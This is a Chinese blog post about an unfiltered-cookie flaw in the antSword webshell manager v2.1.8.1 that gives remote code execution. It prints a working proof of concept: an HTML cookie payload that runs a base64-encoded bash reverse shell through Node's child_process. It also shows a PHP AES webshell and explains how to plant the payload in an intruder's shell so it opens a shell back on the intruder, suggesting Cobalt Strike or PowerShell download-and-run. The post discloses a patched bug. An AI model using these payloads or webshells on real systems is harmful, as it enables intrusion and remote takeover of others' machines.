HW弹药库之你的蚁剑shell还是你的shell吗?
时间:2020-9-7 00:48 作者:admin 分类: 技术文章
HW弹药库之你的蚁剑 shell 还是你的 shell 吗?可能从你的小宝贝变成了小叛徒哦!
——蚁剑 v2.1.8.1 查看站点 cookie html解析未过滤漏洞可反向 RCE
0X0:背景
说来我等菜鸡是不会也没想过去审计这些工具源码,哪怕是开源的,都是拿来主义,大部分看官也是吧。
但是我这个人对于情报搜集特别感兴趣!时常监控一些开源项目或者官网的commit或者更新公告,这不前段时间就看到了芋头师傅(leohearts)提交了一个issue 包含了我的监控关键字 RCE ,
我当时就看了,当时复现了下,但是没有记录,等着 Medicean 师傅修好了我再发,前天,终于修了!距离提交的时间是十一天过后,可能师傅工作比较忙吧!
0X1:复现环节
打开我们的主角-antSword ,在关于程序里面可以看到版本为 v2.1.8.1,下面开始测试,首先在本地PHP环境目录写一个html文件,内容为:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3> <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script> </body> </html>
然后在 antSword 里面添加我们的本地测试URL,密码 连接类型这些随便写,地址写对了就行
添加好了之后,在本地使用 NC 监听 nc -lv 666 因为上面的 base64 编码后的就是反弹 shell 到我们的666端口,不多说,不懂得 Google
然后我们再用 antSword 右键的 查看站点(英文的为 View Site)即可触发获得一个 shell
看一下 Medicean 师傅的 commit 极了可以看到修复的方式是在 cookie 取值的部分添加了 noxss 方法来进行了 XSS 过滤。
0X2:漏洞利用
复现完毕后我就在思考,能不能借此做点小动作?答案是可以的!
想一下,本身是 html格式的URL地址,除了故意这么去复现的查看站点,很少有人拿到shell后去这么干!除非 shell 需要设置 cookie,从 cookie 里取值,这个时候就很容易想到蚁剑的 AES shell 需要设置 cookie ,那就有利用的可能了!
有两种情况,第一种是本身就是 PHP 的 shell ,如果 黑客的 webshell 是使用的 蚁剑的 AES webshell ,基本代码如下:
<?php @session_start(); $pwd='ant'; $key=@substr(str_pad(session_id(),16,'a'),0,16); @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING)); ?>
假如黑客 webshell 如上 名为 shell.php ,我们可以把他的 shell 改为如下内容:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3> <?php @session_start(); $pwd='ant'; $key=@substr(str_pad(session_id(),16,'a'),0,16); @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING)); ?> <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script> </body> </html>
直接把他的 shell 改为 html 和 PHP 代码混写!
因为 PHP 本身就可以这么写,而且可以同时执行 PHP 代码和 html 代码。
当然,真实情况下我们要做的隐蔽点 把 没必要的 标题和 H3 这些丢弃。改写后的 shell 如何让黑客再次使用 查看站点 功能来获取 cookie 这是个问题,需要让他原本保存的 cookie 失效,比如重启 PHP 清除缓存 等方法尝试,假设你达成了如上条件,成功清除了 黑客 shell cookie ,那么接下来就是他 连接 shell 发现连接不上,打开 shell 地址发现还在,可能会使用 查看站点的功能来 获取cookie ,就可以顺利的 获得一个反向shell。
测试是在 Mac 环境下测试,可以根据情况修改需要执行的操作,比如直接执行 CS 后门或者 PS下载执行 等等。
0X3:总结
这个漏洞很鸡肋!
其一:需要使用 查看站点功能;
其二:需要让之前的shell cookie 失效;
其三:配合特定的环境,比如解析漏洞或者.htaccess
但是也是一种思路,说不定你就可以借此反日 大黑阔!哈哈哈。各位朋友,使用工具须谨慎!说不定还要未公开的 XXday 等着你上钩呢!最起码 把工作和生活用电脑环境区分开,使用个虚拟机,虚拟机一定要开启自动升级,保持最新版,虚拟机里最好再套两层代理,保护自己,保护大家!
参考连接:
https://github.com/AntSwordProject/antSword/issues/256
https://github.com/AntSwordProject/antSword/commit/0d5b8b7c4f5f9520b0cacb7306beb190efa19881